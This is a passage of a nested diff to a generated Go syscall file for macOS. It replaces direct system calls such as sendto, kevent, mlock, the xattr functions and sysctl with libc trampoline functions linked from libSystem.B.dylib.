-+ _, _, e1 := syscall_syscall6(funcPC(libc_setsockopt_trampoline), uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setsockopt_trampoline()
-+
-+//go:linkname libc_setsockopt libc_setsockopt
-+//go:cgo_import_dynamic libc_setsockopt setsockopt "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getpeername_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getpeername_trampoline()
-+
-+//go:linkname libc_getpeername libc_getpeername
-+//go:cgo_import_dynamic libc_getpeername getpeername "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall9(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
